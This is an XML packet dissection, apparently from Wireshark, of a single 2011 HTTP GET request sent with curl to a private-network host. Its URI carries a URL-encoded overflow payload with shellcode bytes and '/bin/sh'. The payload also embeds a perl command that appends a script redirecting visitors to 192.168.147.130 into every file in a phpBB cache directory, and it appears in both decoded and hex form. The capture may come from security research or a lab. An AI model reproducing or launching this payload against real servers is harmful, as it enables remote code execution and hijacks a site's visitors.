<packet>
  <proto name="geninfo" pos="0" showname="General information" size="1314">
    <field name="num" pos="0" show="1322" showname="Number" value="52a" size="1314"/>
    <field name="len" pos="0" show="1314" showname="Packet Length" value="522" size="1314"/>
    <field name="caplen" pos="0" show="1314" showname="Captured Length" value="522" size="1314"/>
    <field name="timestamp" pos="0" show="Aug  9, 2011 16:12:20.793329000" showname="Captured Time" value="1312899140.793329000" size="1314"/>
  </proto>
<proto name="http" showname="Hypertext Transfer Protocol" size="1246" pos="68">
    <field name="" show="[truncated] GET /csv/test.csv?%B8%91y~K%0D3%D6NrB%03%FD%B0%04%87%F6%E2%7C%7BA%3D%8D%BFt4pCHw%2F%BA%14%B5g%B4%B3I%1C%B1%1B%D5-%93%80%EB%15%1D%98%92%90%99%9Bv%25%96J*%E3%3C%40%9FuG%05xO%0C%88%D4%BB%B2%08%E0F%10%C6%C1%D3%F8%2C%3F%24%BE%1A%FC%" size="1109" pos="68" value="474554202f6373762f746573742e6373763f254238253931797e4b253044332544364e72422530332546442542302530342538372546362545322537432537424125334425384425424674347043487725324625424125313425423567254234254233492531432542312531422544352d253933253830254542253135253144253938253932253930253939253942762532352539364a2a2545332533432534302539467547253035784f253043253838254434254242254232253038254530462531302543362543312544332546382532432533462532342542452531412546432542362531392546392539372541382542397338254436797549253143253931253932253843254531727e4b253930253939253746437732254434664e71253742253230254644253138254435253844253938762d31254533272542377025374430254542414a2531312544322545307a7834253936254233253246254231253032254639672542452539332542423925463574462530444f254232253836254638253946253235253346253942253133254330254532253743253043254236254138253144253344253034282546437a47253834254532253430777042254234253743253234712533432537442532437e377525303578253341254530482542307235732531342539372542357625313525424625424125423825423925413925393025423725374625323525393874412542312531352544302544312545312d254233253939254241792530342530432538352545422530302546392542422541382537423525304125443525383125463825464425423525424625314449342542342538392545332530444625424525393725423067482542362539464e253931254239372534302533434a43253344253346272544362533422546352546432538442542384f2530352532432531432531346625323447254434422539322541392532462539332539362542324b2539426a253042582539395266682d632538392545376825324673682530306825324662696e253839254533522545382542342530302530302530307065726c2532302d65253230272534306466696c657325323025334425323025334325324676617225324677777725324670687062623325324663616368652532462a253345253342253230666f726561636825323025323466696c65253230282534306466696c6573292532302537422532306f70656e284625324325323025323225334525334525323466696c65253232292533422532307072696e74253230462532302532322533437363726970742533456c6f636174696f6e2e7265706c61636528253543253232687474702533412532462532463139322e3136382e3134372e313330253543253232292533432532467363726970742533452535436e253232253342253230636c6f736528462925334225323025374427253030575325383925453125434425383025323225464325303425303820485454502f312e310d0a">
      <field name="http.request.method" showname="Request Method: GET" size="3" pos="68" show="GET" value="474554"/>
      <field name="http.request.uri" showname="Request URI [truncated]: /csv/test.csv?%B8%91y~K%0D3%D6NrB%03%FD%B0%04%87%F6%E2%7C%7BA%3D%8D%BFt4pCHw%2F%BA%14%B5g%B4%B3I%1C%B1%1B%D5-%93%80%EB%15%1D%98%92%90%99%9Bv%25%96J*%E3%3C%40%9FuG%05xO%0C%88%D4%BB%B2%08%E0F%10%C6%C1%D3%F8%2C%3F%24%" size="1094" pos="72" show="/csv/test.csv?%B8%91y~K%0D3%D6NrB%03%FD%B0%04%87%F6%E2%7C%7BA%3D%8D%BFt4pCHw%2F%BA%14%B5g%B4%B3I%1C%B1%1B%D5-%93%80%EB%15%1D%98%92%90%99%9Bv%25%96J*%E3%3C%40%9FuG%05xO%0C%88%D4%BB%B2%08%E0F%10%C6%C1%D3%F8%2C%3F%24%BE%1A%FC%B6%19%F9%97%A8%B9s8%D6yuI%1C%91%92%8C%E1r~K%90%99%7FCw2%D4fNq%7B%20%FD%18%D5%8D%98v-1%E3&apos;%B7p%7D0%EBAJ%11%D2%E0zx4%96%B3%2F%B1%02%F9g%BE%93%BB9%F5tF%0DO%B2%86%F8%9F%25%3F%9B%13%C0%E2%7C%0C%B6%A8%1D%3D%04(%FCzG%84%E2%40wpB%B4%7C%24q%3C%7D%2C~7u%05x%3A%E0H%B0r5s%14%97%B5v%15%BF%BA%B8%B9%A9%90%B7%7F%25%98tA%B1%15%D0%D1%E1-%B3%99%BAy%04%0C%85%EB%00%F9%BB%A8%7B5%0A%D5%81%F8%FD%B5%BF%1DI4%B4%89%E3%0DF%BE%97%B0gH%B6%9FN%91%B97%40%3CJC%3D%3F&apos;%D6%3B%F5%FC%8D%B8O%05%2C%1C%14f%24G%D4B%92%A9%2F%93%96%B2K%9Bj%0BX%99Rfh-c%89%E7h%2Fsh%00h%2Fbin%89%E3R%E8%B4%00%00%00perl%20-e%20&apos;%40dfiles%20%3D%20%3C%2Fvar%2Fwww%2Fphpbb3%2Fcache%2F*%3E%3B%20foreach%20%24file%20(%40dfiles)%20%7B%20open(F%2C%20%22%3E%3E%24file%22)%3B%20print%20F%20%22%3Cscript%3Elocation.replace(%5C%22http%3A%2F%2F192.168.147.130%5C%22)%3C%2Fscript%3E%5Cn%22%3B%20close(F)%3B%20%7D&apos;%00WS%89%E1%CD%80%22%FC%04%08" value="2f6373762f746573742e6373763f254238253931797e4b253044332544364e72422530332546442542302530342538372546362545322537432537424125334425384425424674347043487725324625424125313425423567254234254233492531432542312531422544352d253933253830254542253135253144253938253932253930253939253942762532352539364a2a2545332533432534302539467547253035784f253043253838254434254242254232253038254530462531302543362543312544332546382532432533462532342542452531412546432542362531392546392539372541382542397338254436797549253143253931253932253843254531727e4b253930253939253746437732254434664e71253742253230254644253138254435253844253938762d31254533272542377025374430254542414a2531312544322545307a7834253936254233253246254231253032254639672542452539332542423925463574462530444f254232253836254638253946253235253346253942253133254330254532253743253043254236254138253144253344253034282546437a47253834254532253430777042254234253743253234712533432537442532437e377525303578253341254530482542307235732531342539372542357625313525424625424125423825423925413925393025423725374625323525393874412542312531352544302544312545312d254233253939254241792530342530432538352545422530302546392542422541382537423525304125443525383125463825464425423525424625314449342542342538392545332530444625424525393725423067482542362539464e253931254239372534302533434a43253344253346272544362533422546352546432538442542384f2530352532432531432531346625323447254434422539322541392532462539332539362542324b2539426a253042582539395266682d632538392545376825324673682530306825324662696e253839254533522545382542342530302530302530307065726c2532302d65253230272534306466696c657325323025334425323025334325324676617225324677777725324670687062623325324663616368652532462a253345253342253230666f726561636825323025323466696c65253230282534306466696c6573292532302537422532306f70656e284625324325323025323225334525334525323466696c65253232292533422532307072696e74253230462532302532322533437363726970742533456c6f636174696f6e2e7265706c61636528253543253232687474702533412532462532463139322e3136382e3134372e313330253543253232292533432532467363726970742533452535436e253232253342253230636c6f7365284629253342253230253744272530305753253839254531254344253830253232254643253034253038"/>
      <field name="http.request.version" showname="Request Version: HTTP/1.1" size="8" pos="1167" show="HTTP/1.1" value="485454502f312e31"/>
    </field>
    <field name="http.user_agent" showname="User-Agent: curl/7.18.0 (i486-pc-linux-gnu) libcurl/7.18.0 OpenSSL/0.9.8g zlib/1.2.3.3 libidn/1.1\r\n" size="99" pos="1177" show="curl/7.18.0 (i486-pc-linux-gnu) libcurl/7.18.0 OpenSSL/0.9.8g zlib/1.2.3.3 libidn/1.1" value="557365722d4167656e743a206375726c2f372e31382e302028693438362d70632d6c696e75782d676e7529206c69626375726c2f372e31382e30204f70656e53534c2f302e392e3867207a6c69622f312e322e332e33206c696269646e2f312e310d0a"/>
    <field name="http.host" showname="Host: 192.168.147.128\r\n" size="23" pos="1276" show="192.168.147.128" value="486f73743a203139322e3136382e3134372e3132380d0a"/>
    <field name="http.accept" showname="Accept: */*\r\n" size="13" pos="1299" show="*/*" value="4163636570743a202a2f2a0d0a"/>
    <field name="" show="\r\n" size="2" pos="1312" value="0d0a"/>
    <field name="http.request" showname="Request: True" hide="yes" size="0" pos="68" show="1"/>
  </proto>
</packet>